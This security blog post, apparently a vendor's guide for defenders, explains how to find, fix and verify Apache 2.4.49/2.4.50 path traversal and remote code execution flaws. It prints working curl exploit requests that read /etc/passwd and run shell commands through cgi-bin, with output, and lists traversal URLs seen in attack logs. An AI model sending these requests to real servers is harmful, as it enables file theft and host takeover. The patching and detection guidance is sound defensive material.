Overview
We wanted to do something a little bit different with this post. Our vulnerability disclosures, exploit proof-of-concepts, and attack analysis blog posts have been awesome, but they have been catering to an offensive security audience. Our new approach will be to compliment those with a different lens, providing defenders and IT Operators the information they need to find, fix, and verify exploitable vulnerabilities before attackers do.
This post is focused on the most recent cluster of Apache vulnerabilities that enable path traversal and remote code execution affecting Apache web server versions 2.4.49 and 2.4.50. These are particularly bad – not just because it allows an attacker to read files outside of the web directory or execute code on the host, but also because of the sheer number of applications that are running on the Apache web server. Understanding how to find, fix and verify this one is very important to ensure you are secure. My hope is that this blog post is way too late and you’ve already plugged this hole; but if not, you should skip lunch and get this fixed immediately. There are two pieces of good news: the initial vulnerability – CVE-2021-41773 – only affected 2.4.49, which was released on Sept 16; the second piece of good news is that the default config is NOT exploitable.
What
The National Vulnerability Database (NVD)[https://nvd.nist.gov] is usually pretty vague and doesn’t really give you much to go on, so I’ll give you some context. The aforementioned Apache vulnerabilities enable a path traversal attack. A path traversal attack enables an attacker to ask the web server for files from a relative path. For example, if you’re on a Linux host and you try to change directory cd
to the directory above the current working directory, you could run the cd ../
command and it would move you up a directory. Similarly, in a path traversal attack, if your web server is set up to serve its files from the /etc/Apache/www
directory, the attacker could ask for https://www.yourwebserver.com/../../passwd
and it would return the contents of the /etc/passwd
file. Most web servers do a good job of weeding those things out through input sanitization: a client-side technique for making sure the characters being sent to the server are ‘safe’. However, attackers can bypass this defense technique by encoding the ../
characters in requests.
For example:
URL encoded = %2e%2e%2f
Base64 Encoded = Li4v
With Apache 2.4.49, changes were introduced to the path normalization logic that introduced the vulnerability CVE-2021-41773. This was not adequately fixed in Apache 2.4.50, resulting in vulnerability CVE-2021-42013.
For a host to be vulnerable, it’s not enough to be simply running Apache 2.49 or 2.50. The default configuration of Apache must have been modified as well to allow Apache to access files outside of the web root directory. For demonstration purposes, we commented out this Directory
directive in the default Apache httpd.conf
file.
#<Directory />
# AllowOverride none
# Require all denied
#</Directory>
As an example, here is a request against Apache version 2.4.50 that exploits the path traversal vulnerability to fetch the /etc/passwd
file from the web server host. In practice, attackers are using this vulnerability to scan the entire file system, looking for sensitive data such as credentials in config files or SSH keys.
root@linux:/home/user# curl --path-as-is -v "http://localhost:8888/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%6/etc/passwd HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Thu, 07 Oct 2021 17:05:45 GMT
< Server: Apache/2.4.50 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host localhost left intact
Going From Path Traversal to Remote Command Execution
Shortly after the first vulnerability CVE-2021-41773 was disclosed, security researchers and attackers figured out that in some circumstances, it was possible to run arbitrary commands on the host through the path traversal. This is possible if the default Apache configuration has been modified to allow for the execution of CGI scripts. Following the instructions here, we modified the configuration as follows to enable CGI scripts:
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
AddHandler cgi-script .cgi .pl
Require all granted
</Directory>
<IfModule !mpm_prefork_module>
LoadModule cgid_module modules/mod_cgid.so
</IfModule>
<IfModule mpm_prefork_module>
LoadModule cgi_module modules/mod_cgi.so
</IfModule>
With this change, attackers can now execute files on the file system using the path traversal vulnerability. For instance, the following request runs the id
command on the web server using /bin/sh
:
user@linux:~$ curl -X POST -v --path-as-is "http://localhost:8000/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh" -d "echo;id"
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 8000 (#0)
> POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 7
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 7 out of 7 bytes
< HTTP/1.1 200 OK
< Date: Wed, 13 Oct 2021 17:27:20 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
uid=1(daemon) gid=1(daemon) groups=1(daemon)
In practice, attackers would use this to run arbitrary commands to takeover the entire host.
Find
There are several ways to find this vulnerability in your environment:
Manual
Log in to your web server and run the httpd -v
command. If your version is 2.4.49, or 2.4.50, you’ve got a POTENTIALLY vulnerable host. Remember, the default config will have needed to be modified.
To check for the first problem, which only enables the path traversal, you can run a curl command:
curl --path-as-is -v "http://localhost/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
Modify accordingly if the root of your website sits somewhere else, or your web server is running on a different port. If the response discloses the output of the /etc/passwd
, you ARE vulnerable. Note, if you get a 500 Internal Server Error
response back, you may still be vulnerable to remote code execution.
To check for remote code execution, run the following command:
curl -X POST -v --path-as-is "http://localhost:8000/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh" -d "echo;id"
If the response contains the output of the id
command, you ARE vulnerable.
If this particular web server is hosted on the internet, we highly recommend:
- Resetting any passwords on this host.
- Reviewing any logs, processes, outbound connectivity from this host.
- Changing ANY credential or API keys associated with this host.
- Reviewing any newly installed applications or modified files.
- AND, if possible, Building a new host with Apache 2.4.51 (properly patched version) of Apache and migrating users to the new host.
As soon as these vulnerabilities were released, attackers weaponized them and began scouring the internet for web servers running vulnerable code and exploiting them.
Autonomously
Leveraging an autonomous penetration test using NodeZero from Horizon3.ai with a scope of all your internal and external web hosts would check and benignly exploit this weakness. You would get a report of all of the hosts that were exploitable. Moreover, if you have exploitable hosts, you’d be able to understand the full impact of exploitability – whether it’s just file disclosure or remote code execution.
The distinction between “potentially vulnerable” and verifiably exploitable enables you to prioritize you efforts more clearly. If you are running a potentially vulnerable version of Apache but operate in a way that is not exploitable, you can patch your systems as part of your routine patch cycle, rather than shifting priorities and losing sleep.
For demonstration purposes, we set up two vulnerable Apache web servers – one on port 8888 that was vulnerable to the file disclosure, and a second on port 8000 that was vulnerable to remote code execution. On the Weaknesses page, you can see both web servers flagged as exploitable. The first host shown is vulnerable to remote code execution, raising the severity of that finding to critical.
Clicking on the View
button shows the proof of exploitability gathered for each finding.
For the host vulnerable to Remote Code Execution, the proof looks like this:
And for the host vulnerable to file disclosure only, the proof looks like this:
In cases where NodeZero is able to run commands on a host, that is flagged as a “Host Compromise” to highlight the critical impact of the weakness. This can be seen under the Impacts section:
Fix
The fix to this is fairly straight forward: Update your version of Apache to the latest version. As of this writing, 2.4.51 is the appropriate version.
Alternatively, to mitigate, you could update the directory stanza to the default:
<Directory />
AllowOverride none
Require all denied
</Directory>
However, the likelihood that making that change might break your website is high.
Verify
The fix is straightforward, but without verifying that you’ve touched all your hosts and the update has been implemented, you’re just hoping everything is ok. And hope is not a strategy. Run another NodeZero operation to verify. You should run a NodeZero operation after every change to your environment to ensure that your templates or deployment scripts don’t revert back to the exploitable state. Also, don’t forget about your backups. Restoring from backup that doesn’t have this update in it will bring the exploitable version back into operation! #learnedthat.
Now that you’ve protected yourself from this being a problem, it’s time to verify that you haven’t already been hit. I’m not going to go into a forensics or “indicators of compromise deep dive” (that’s too much for this post) but here are some things you should look for:
- Check Apache logs between the time you updated to 2.4.49 for the following request patterns:
cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65
%2e%2e%2f
- Additionally, CloudFlare has reported that the following have been the most common urls attempted since the release of the original CVE:
cgi-bin/.%2e/.git/config
/cgi-bin/.%2e/app/etc/local.xml
/cgi-bin/.%2e/app/etc/env.php
/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd
- GreyNoise also has some good data on what threat actors are throwing in the wild on these weaknesses:
- Validate no strange users have been created on your host.
- Validate no packages or update urls have been changed.
- Look for suspicious gaps in audit logs and/or compare to external logging system
If you find any of these indications, you’ve likely been exploited and should start walking down your incident response checklist.
Conclusion
The two Apache vulnerabilities released this month, if exploitable, are extremely dangerous. They enable an attacker to extract system data and execute commands on your web hosts. These will lead to website defacement, persistence, ransomware, and depending on where and how the host sits within your environment, could lead to penetrating the perimeter.
Continuously assessing your environment from the perspective of an attacker will help ensure that you prioritizing in the most efficient manner and are protected from this vulnerability sneaking its way back into operation.
To see what an attack sees in your environment, start a free NodeZero trial today at https://portal.horizon3ai.com/trial.
References
https://nvd.nist.gov/vuln/detail/CVE-2021-41773
https://nvd.nist.gov/vuln/detail/CVE-2021-42013
https://blog.cloudflare.com/helping-apache-servers-stay-safe-from-zero-day-path-traversal-attacks/